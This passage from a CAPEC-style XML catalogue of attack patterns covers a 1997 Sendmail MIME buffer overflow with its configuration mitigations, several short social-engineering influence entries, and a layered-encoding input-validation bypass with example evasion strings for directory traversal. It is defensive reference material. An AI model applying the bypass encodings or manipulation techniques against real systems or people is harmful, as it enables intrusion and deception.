				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Disable the 7 to 8 bit conversion. This can be done by removing the F=9
						flag from all Mailer specifications in the sendmail.cf file.</Text>
					<Text>For example, a sendmail.cf file with these changes applied should look
						similar to (depending on your system and configuration):</Text>
					<Block>
						<Code>Mlocal, P=/usr/libexec/mail.local, F=lsDFMAw5:/|@qrmn, S=10/30,
							R=20/40,</Code>
						<Block>
							<Code>T=DNS/RFC822/X-Unix,</Code>
							<Code>A=mail -d $u</Code>
						</Block>
						<Code>Mprog, P=/bin/sh, F=lsDFMoqeu, S=10/30, R=20/40,</Code>
						<Block>
							<Code>D=$z:/,</Code>
							<Code>T=X-Unix,</Code>
							<Code>A=sh -c $u</Code>
						</Block>
					</Block>
					<Text>This can be achieved for the "Mlocal" and "Mprog" Mailers by modifying the
						".mc" file to include the following lines:</Text>
					<Block>
						<Code>define(`LOCAL_MAILER_FLAGS',</Code>
						<Block>
							<Code>ifdef(`LOCAL_MAILER_FLAGS',</Code>
							<Block>
								<Code>`translit(LOCAL_MAILER_FLAGS, `9')',</Code>
								<Code>`rmn'))</Code>
							</Block>
						</Block>
						<Code>define(`LOCAL_SHELL_FLAGS',</Code>
						<Block>
							<Code>ifdef(`LOCAL_SHELL_FLAGS',</Code>
							<Block>
								<Code>`translit(LOCAL_SHELL_FLAGS, `9')',</Code>
								<Code>`eu'))</Code>
							</Block>
						</Block>
					</Block>
					<Text>and then rebuilding the sendmail.cf file using m4(1).</Text>
					<Text>From "Exploiting Software", please see reference below.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use the sendmail restricted shell program (smrsh)</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use mail.local</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Denial of Service-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>The especially formated e-mail message whose body is put together in a way as
					to trigger the MIME conversion buffer overflow in the 7 to 8 bit MIME conversion
					function.</Text>
			</Injection_Vector>
			<Payload>
				<Text>The shellcode included as part of the e-mail message body that is executed on
					the target system with root privileges after the stack based buffer overflow in
					the 7 to 8 bit MIME conversion function is leveraged.</Text>
			</Payload>
			<Activation_Zone>
				<Text>The function performing 7 to 8 bit MIME conversion.</Text>
			</Activation_Zone>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>120<!--Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>119<!--Improper Restriction of Operations within the Bounds of a Memory Buffer--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Vulnerabilities>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-1999-0047</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>A MIME conversion buffer overflow exists in Sendmail versions 8.8.3
							and 8.8.4. Sendmail versions 8.8.3 and 8.8.4 are vulnerable to a buffer
							overflow in the MIME handling code. By sending a message with
							specially-crafted headers to the server, a remote attacker can overflow
							a buffer and execute arbitrary commands on the system with root
							privileges.</Text>
						<Text>Sendmail performs a 7 bit to 8 bit conversion on email messages. This
							vulnerability is due to the fact that insufficient bounds checking was
							performed while performing these conversions. This gave attacker an
							opportunity to overwrite the internal stack of sendmail while it is
							executing with root privileges. An attacker first probes the target
							system to figure out what mail server is used on the system and what
							version. An attacker could then test out the exploit at their leisure on
							their own machine running the same version of the mail server before
							using it in the wild.</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
			</Related_Vulnerabilities>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>100<!--Overflow Buffers--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Failing Securely</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Purposes>
				<Purpose>Penetration</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CERT Advisory CA-1997-05, "MIME Conversion Buffer Overflow in Sendmail
							Versions 8.8.3 and 8.8.4". Available at:
							http://www.cert.org/advisories/CA-1997-05.html</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-03-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Eugene Lebanidze</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-26</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-05</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="420" Name="Target Influence via Perception of Scarcity"
			Pattern_Abstraction="Meta" Pattern_Completeness="Hook" Status="Draft">
			<Description>
				<Summary>
					<Text/>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>416<!--Target Influence via Social Engineering--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>The Official Social Engineering Portal</Reference_Author>
					<Reference_Publisher>http://www.social-engineer.org</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-17</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-17</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="421" Name="Target Influence via Perception of Authority"
			Pattern_Abstraction="Meta" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker uses a social engineering technique to convey a sense of
						authority that motivates the target reveal specific information or take
						specific action. There are various techniques for producing a sense of
						authority during ordinary modes of communication. One common method is
						impersonation. By impersonating someone with a position of power within an
						organization an attacker may motivate the target individual to reveal some
						piece of sensitive information or perform an action that benefits the
						attacker.</Text>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>416<!--Target Influence via Social Engineering--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>The Official Social Engineering Portal</Reference_Author>
					<Reference_Publisher>http://www.social-engineer.org</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-17</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-17</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="422"
			Name="Target Influence via Perception of Commitment and Consistency"
			Pattern_Abstraction="Meta" Pattern_Completeness="Hook" Status="Draft">
			<Description>
				<Summary>
					<Text/>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>416<!--Target Influence via Social Engineering--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>The Official Social Engineering Portal</Reference_Author>
					<Reference_Publisher>http://www.social-engineer.org</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-17</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-17</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="423" Name="Target Influence via Perception of Liking"
			Pattern_Abstraction="Meta" Pattern_Completeness="Hook" Status="Draft">
			<Description>
				<Summary>
					<Text/>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>416<!--Target Influence via Social Engineering--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>The Official Social Engineering Portal</Reference_Author>
					<Reference_Publisher>http://www.social-engineer.org</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-17</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-17</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="424" Name="Target Influence via Perception of Consensus or Social Proof"
			Pattern_Abstraction="Meta" Pattern_Completeness="Hook" Status="Draft">
			<Description>
				<Summary>
					<Text/>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>416<!--Target Influence via Social Engineering--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>The Official Social Engineering Portal</Reference_Author>
					<Reference_Publisher>http://www.social-engineer.org</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-17</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-17</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="425" Name="Target Influence via Framing" Pattern_Abstraction="Meta"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker uses framing techniques to contextualize a conversation so
						that the target is more likely to be influenced by the attacker's point of
						view. Framing is information and experiences in life that alter the way we
						react to decisions we must make. This type of persuasive technique exploits
						the way people are conditioned to perceive data and its significance, while
						avoiding negative or avoidance responses from the target. Rather than a
						specific technique framing is a methodology of conversation that slowly
						encourages the target to adopt to the attacker's perspective. One technique
						of framing is to avoid the use of the word "No" and to contextualize
						responses in a manner that is positive. When performed skillfully the target
						is much more likely to volunteer information or perform actions favorable to
						the attacker.</Text>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>416<!--Target Influence via Social Engineering--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>The Official Social Engineering Portal</Reference_Author>
					<Reference_Publisher>http://www.social-engineer.org</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Framing (Social Sciences)</Reference_Author>
					<Reference_Publisher>http://en.wikipedia.org/wiki/Framing_(social_sciences)</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-17</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-17</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="426" Name="Target Influence via Manipulation of Incentives"
			Pattern_Abstraction="Meta" Pattern_Completeness="Hook" Status="Draft">
			<Description>
				<Summary>
					<Text/>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>416<!--Target Influence via Social Engineering--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>The Official Social Engineering Portal</Reference_Author>
					<Reference_Publisher>http://www.social-engineer.org</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-17</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-17</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="427" Name="Target Influence via Psychological Principles"
			Pattern_Abstraction="Meta" Pattern_Completeness="Hook" Status="Draft">
			<Description>
				<Summary>
					<Text/>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>416<!--Target Influence via Social Engineering--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>The Official Social Engineering Portal</Reference_Author>
					<Reference_Publisher>http://www.social-engineer.org</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-17</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-17</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="428" Name="Target Influence via Modes of Thinking"
			Pattern_Abstraction="Meta" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker attunes their communication to the language and thought
						patterns of the target thereby weakening barriers or reluctance to
						communication. This method is a way of building rapport with a target by
						matching their speech patterns and the primary ways or dominant senses with
						which they make abstractions. This technique can be used to make the target
						more receptive to sharing information because the attacker has adapted their
						communication forms to match those of the target. When skillfully employed
						the target is likely to be unaware that they are being manipulated. </Text>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>427<!--Target Influence via Psychological Principles--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>The Official Social Engineering Portal</Reference_Author>
					<Reference_Publisher>http://www.social-engineer.org</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-17</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-17</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="429" Name="Target Influence via Eye Cues" Pattern_Abstraction="Meta"
			Pattern_Completeness="Hook" Status="Draft">
			<Description>
				<Summary>
					<Text/>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>427<!--Target Influence via Psychological Principles--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>The Official Social Engineering Portal</Reference_Author>
					<Reference_Publisher>http://www.social-engineer.org</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-17</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-17</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="43" Name="Exploiting Multiple Input Interpretation Layers"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker supplies the target software with input data that contains
						sequences of special characters designed to bypass input validation logic.
						This exploit relies on the target making multiples passes over the input
						data and processing a "layer" of special characters with each pass. In this
						manner, the attacker can disguise input that would otherwise be rejected as
						invalid by concealing it with layers of special/escape characters that are
						stripped off by subsequent processing steps.</Text>
					<Text>The goal is to first discover cases where the input validation layer
						executes before one or more parsing layers. That is, user input may go
						through the following logic in an application: &lt;parser1&gt; --&gt;
						&lt;input validator&gt; --&gt; &lt;parser2&gt;. In such cases, the attacker
						will need to provide input that will pass through the input validator, but
						after passing through parser2, will be converted into something that the
						input validator was supposed to stop.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Determine application/system inputs where
											bypassing input validation is
											desired</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker first needs to determine all of the
												application's/system's inputs where input validation
												is being performed and where he/she wants to bypass
												it.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>While using an application/system, the
												attacker discovers an input where validation is
												stopping him/her from performing some malicious or
												unauthorized actions.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>When provided with unexpected input,
												application provides an error message stating that
												the input was invalid or that access was
												denied.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
										</Indicators>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="-1" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="-1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Determine which character encodings are
											accepted by the application/system</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker then needs to provide various
												character encodings to the application/system and
												determine which ones are accepted. The attacker will
												need to observe the application's/system's response
												to the encoded data to determine whether the data
												was interpreted properly.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="-1">
												<Attack_Step_Technique_Description>
												<Text>Determine which escape characters are
												accepted by the application/system. A common
												escape character is the backslash character,
												'\'</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="-1">
												<Attack_Step_Technique_Description>
												<Text>Determine whether URL encoding is accepted
												by the application/system.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="-1">
												<Attack_Step_Technique_Description>
												<Text>Determine whether UTF-8 encoding is accepted
												by the application/system.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="-1">
												<Attack_Step_Technique_Description>
												<Text>Determine whether UTF-16 encoding is
												accepted by the application/system.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="-1">
												<Attack_Step_Technique_Description>
												<Text>Determine if any other encodings are
												accepted by the application/system.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="-1" type="Positive">
												<Indicator_Description>
												<Text>System provides error message similar to the
												one it provided when a positivie indicator was
												received for the first step.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="0" type="Success">
												<Outcome_Description>Application/system accepts at
												least one high level character encoding where
												characters can be represented with multiple ASCII
												characters.</Outcome_Description>
											</Outcome>
											<Outcome ID="0" type="Failure">
												<Outcome_Description>Application/system interprets
												each character separately.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="0" type="Detective">
												<Security_Control_Description>Detect and alert on
												appearance of encodings in log messages (e.g.
												"Unsuccessful login by
												&amp;lt;joe")</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="-1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Combine multiple encodings accepted by
											the application.</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker now combines encodings accepted by
												the application. The attacker may combine different
												encodings or apply the same encoding multiple
												times.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="-1">
												<Attack_Step_Technique_Description>
												<Text>Combine same encoding multiple times and
												observe its effects. For example, if special
												characters are encoded with a leading backslash,
												then the following encoding may be accepted by the
												application/system: "\\\.". With two parsing
												layers, this may get converted to "\." after the
												first parsing layer, and then, to "." after the
												second. If the input validation layer is between
												the two parsing layers, then "\\\.\\\." might pass
												a test for ".." but still get converted to ".."
												afterwards. This may enable directory traversal
												attacks.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="-1">
												<Attack_Step_Technique_Description>
												<Text>Combine multiple encodings and observe the
												effects. For example, the attacker might encode
												"." as "\.", and then, encode "\." as
												"&amp;#92;&amp;#46;", and then, encode that using
												URL encoding to "%26%2392%3B%26%2346%3B"</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="-1" type="Positive">
												<Indicator_Description>
												<Text>Application/System interprets the multiple
												encodings properly.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="0" type="Success">
												<Outcome_Description>Attacker bypasses input
												validation layer(s) and passes data to application
												that it does not expect.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="0" type="Preventative">
												<Security_Control_Description>Ensure that the input
